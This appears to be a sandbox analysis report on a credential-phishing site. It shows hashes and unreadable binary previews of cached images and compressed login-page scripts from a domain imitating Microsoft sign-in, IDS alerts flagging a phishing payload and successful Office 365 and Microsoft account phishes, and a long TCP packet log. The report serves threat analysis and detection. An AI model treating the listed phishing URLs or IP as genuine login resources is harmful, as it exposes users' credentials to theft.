Preview:	.PNG........IHDR...0...0.....W.......pHYs................XIDATx...K.a....4.,..2.I.....d..t...>.97.[. ..$D.@.D_..(..,tf...t...A..............{......=.............0#.!..~.p.%='.......d8.......;....Xe........p.......L5..d8.wa....[...\|..U..8.x..rp. ....yt~....e.........'..S...S...t.'..].u.98]9.5.O0.<.p..y...,...(.eU.;.......,.........).....1.......]..../..L..5..i.T...>.Y..j.f.6...:+yXg.&.3.%.Q.r.\|.[.N.%o......D.-..W...i..l...2u...mn......Ay.vH...tP..Z$n..N.j...R.......]..R.Xd...b3.k.<........'.."s........'nh..."s".. .......~../..S[..=*?.......`/.K@8.....LR...u.../..V.).S^......[b..^.}..J.p..L..J.......\.=..t$..6J6.7.G\|3.G.......k\.{....-...+.....`W.E.+.a."...X.}.....:E...TVg.Z-U.".^.+F.<..\|.5.\|..<7..X....ET{.K.G ..[....`.8.8lGZk.S...VjZk.Qn.X..$..h_EK.-E.....rc.6....Jm.^..(.-ks.Cn....HJc@erc...@.7...?..l..\|&..?.h.$....=~.o<.._........>...7.I.\|&.u....>...% ...wy\|..}.!.....IEND.B`.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98961401355024
Encrypted:	false
SSDEEP:	384:gOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:gOBKJBXO586QB+11J
MD5:	1BB2645B377E0429225D33E4E2CC6E3F
SHA1:	A40797795C77CDFF574080B506BAB17DB38494B5
SHA-256:	B3B869875C7655F97500FBA0BCE74BCE7CC1DEE31D7CE5B93EA5D6457E07F08E
SHA-512:	49C98F20572C7488FEDB8AAF6C3D1D004904536524B79FA44CAABC5B91C8BA1A192B10F1FBE28112CC324E17600160E5BAA5E30261E5D63858C16376219DD3FE
Malicious:	false
Reputation:	low
URL:	https://881a0950-e455dbd6.acmgs.com.au/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 26677
Category:	downloaded
Size (bytes):	7406
Entropy (8bit):	7.97686165167852
Encrypted:	false
SSDEEP:	192:CAlyhbp3GRJzHCesck0ajHeuDI9z4eg8eMih+pU1oQf:CAEBp3GXzRst0ynZOECQf
MD5:	C94522CB4B4F00AC8B245E9C8E1493C7
SHA1:	611B3D8F548A79F9335A3758EB02858A2333CC68
SHA-256:	F6E99224DB77432B577F3B9130662851411A83626B857CCD387D8381BA22056B
SHA-512:	80055FD94C79284EF960A0006F483341B5198A995FCE72458329A9428BCEB5FDE4455D603585FBE8AF0D02E9D995B2981FF6C89712DD9BF5E7A357A775CB5DB0
Malicious:	false
Reputation:	low
URL:	https://881a0950-e455dbd6.acmgs.com.au/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js
Preview:	...........]mw.6.......q.-..I..tY...j.[k).I..EB.c.`I.j....w....{{..%..`0..<3........Omk....._....mp.<.zp..v~1....O.;...S?..~@5..9..4.j,...eq.b..D....w.m....T.b...<..?..hD...t .{Z..R.....S..O..Z.,Z..).B.}.jN..j.\....Gcm1....wc..1.b.R..:I.P^.hNL..rm.b>.\|.Z.k.T...1...k...c1P........a.....,1..C~.<h.iK6O./.....6KD?X^........0.._#.A.1..kBX....*$.R..N."...s&1.3.r....h......##.M8."......?.f....)a.3.S...w^lm....c.[S..z.t...\|d:.l...........I`.....{.K..\|.S"[.I.YZo>.V.#6s.0.W..ne.z.4\.4d..a$.P....L.N..M_...j....q.~.QE......G...T.........g.x..8,...p........ 1\|m.....$...A............q....... s..c...a....}T....A"$c..\|}o.kl.....4n..z.b......mc.Y..##W.g.y.ZL.vl..4bP.>..d.Eg..^3...\......71XF..B.q..8f1..yJ...o;....4..\|_.f7..v.S)..F...Q3.....%]........[..@\.C..Q2...O..Y....].C..l.G.....,...MV}.."'I....1[@y/....r...k...Q@q...69.bz. ....{.c...j..o.`NI7.k@C...0b.E{"..$0.........r....C..<.]...$.........L...P...#.....G..yr..vM....e .%...X<a...`@o89.a..8....^.s(.1X6.

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T20:31:06.810471+0100	2857090	ETPRO PHISHING JS/PsyduckPockeball Payload Inbound	1	159.89.96.140	443	192.168.2.8	49728	TCP
2024-12-20T20:32:01.121190+0100	2832046	ETPRO PHISHING Successful Office 365 Phish 2018-08-01	1	192.168.2.8	49771	159.89.96.140	443	TCP
2024-12-20T20:32:01.121190+0100	2832180	ETPRO PHISHING Successful Microsoft Account Phish 2018-08-15	1	192.168.2.8	49771	159.89.96.140	443	TCP
2024-12-20T20:32:01.121190+0100	2840426	ETPRO PHISHING Successful Microsoft Account Phish 2020-01-14	1	192.168.2.8	49771	159.89.96.140	443	TCP
2024-12-20T20:32:01.121190+0100	2846045	ETPRO PHISHING Successful Microsoft Account Phish 2020-12-15	1	192.168.2.8	49771	159.89.96.140	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 20:30:29.455360889 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.455462933 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.455672979 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.459167957 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.459326982 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.461723089 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.461740017 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.461813927 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.464159966 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.464344978 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.578759909 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.584192038 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.646975994 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.650922060 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.775944948 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.776096106 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.776278973 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.779761076 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.779937029 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.783888102 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.783958912 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.783991098 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.784041882 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.786412954 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.786576986 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:29.899447918 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.906099081 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.969638109 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:29.973918915 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.106369972 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.106393099 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.106559038 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.111361027 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.111510038 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.161654949 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.165513039 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.165513039 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.231106997 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.285408020 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.317121983 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.320559025 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.422168016 CET	49673	443	192.168.2.8	23.206.229.226
Dec 20, 2024 20:30:30.428452015 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.428524017 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.428550005 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.428592920 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.432651043 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.432794094 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.481575966 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.481600046 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.481854916 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.486049891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.486049891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.552273989 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.605657101 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.676183939 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.680469036 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.734849930 CET	49672	443	192.168.2.8	23.206.229.226
Dec 20, 2024 20:30:30.751282930 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.751348972 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.751420021 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.751473904 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.756081104 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.756719112 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.802150965 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.802189112 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.802406073 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.802406073 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.808583021 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.809412956 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:30.876296043 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.929008007 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.995191097 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:30.999402046 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.073198080 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.073345900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.073388100 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.073472023 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.078330040 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.078583956 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.125341892 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.125489950 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.125500917 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.125560045 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.129626036 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.129777908 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.198215961 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.249361038 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.317471027 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.321198940 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.448872089 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.449063063 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.449137926 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.452524900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.452590942 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.509368896 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.509568930 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.509577036 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.509629011 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.512506962 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.512586117 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.572062969 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.632222891 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.641107082 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.644819975 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.769669056 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.769794941 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.770019054 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.773307085 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.773348093 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.829097033 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.829184055 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.829433918 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.829580069 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.832701921 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.832817078 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:31.892834902 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.952316999 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.961792946 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:31.965286016 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.088634014 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.089426041 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.089526892 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.093853951 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.094484091 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.149552107 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.149569035 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.149679899 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.152921915 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.153233051 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.213994026 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.232285976 CET	49676	443	192.168.2.8	52.182.143.211
Dec 20, 2024 20:30:32.272948980 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.280507088 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.284142017 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.410891056 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.411227942 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.411284924 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.416829109 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.417942047 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.470361948 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.470467091 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.471291065 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.471376896 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.475166082 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.475240946 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.540092945 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.599556923 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.603105068 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.606815100 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.737198114 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.737344980 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.737402916 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.743474007 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.743629932 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.797454119 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.797537088 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.797554970 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.797625065 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.800553083 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.800654888 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.863142967 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.920171022 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.929794073 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.929965973 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:32.930036068 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:32.933420897 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.061337948 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.061383963 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.061485052 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.067970991 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.068403959 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.118172884 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.118212938 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.118244886 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.118294001 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.173945904 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.178498983 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.187846899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.253400087 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.253465891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.301894903 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.346689939 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.394536018 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.394553900 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.394608974 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.394637108 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.398778915 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.399919987 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.500293970 CET	49671	443	192.168.2.8	204.79.197.203
Dec 20, 2024 20:30:33.508228064 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.508244991 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.508339882 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.508374929 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.513345003 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.519134998 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.519901991 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.638703108 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.698571920 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.731148005 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.731164932 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.731369972 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.825649977 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.826967955 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.829412937 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.830952883 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.832794905 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.859611988 CET	49677	80	192.168.2.8	192.229.211.108
Dec 20, 2024 20:30:33.923399925 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.926544905 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:33.946609974 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.952626944 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:33.979957104 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.140510082 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.145179987 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.145252943 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.148156881 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.148310900 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.148396015 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.148431063 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.148467064 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.152085066 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.152875900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.267919064 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.272610903 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.337232113 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.391079903 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.464164972 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.468478918 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.468594074 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.468767881 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.515892029 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:34.569482088 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:34.625276089 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:38.786788940 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:38.953265905 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.101519108 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.106461048 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.108937025 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.125123024 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.127505064 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.159199953 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.226242065 CET	443	49705	13.107.246.63	192.168.2.8
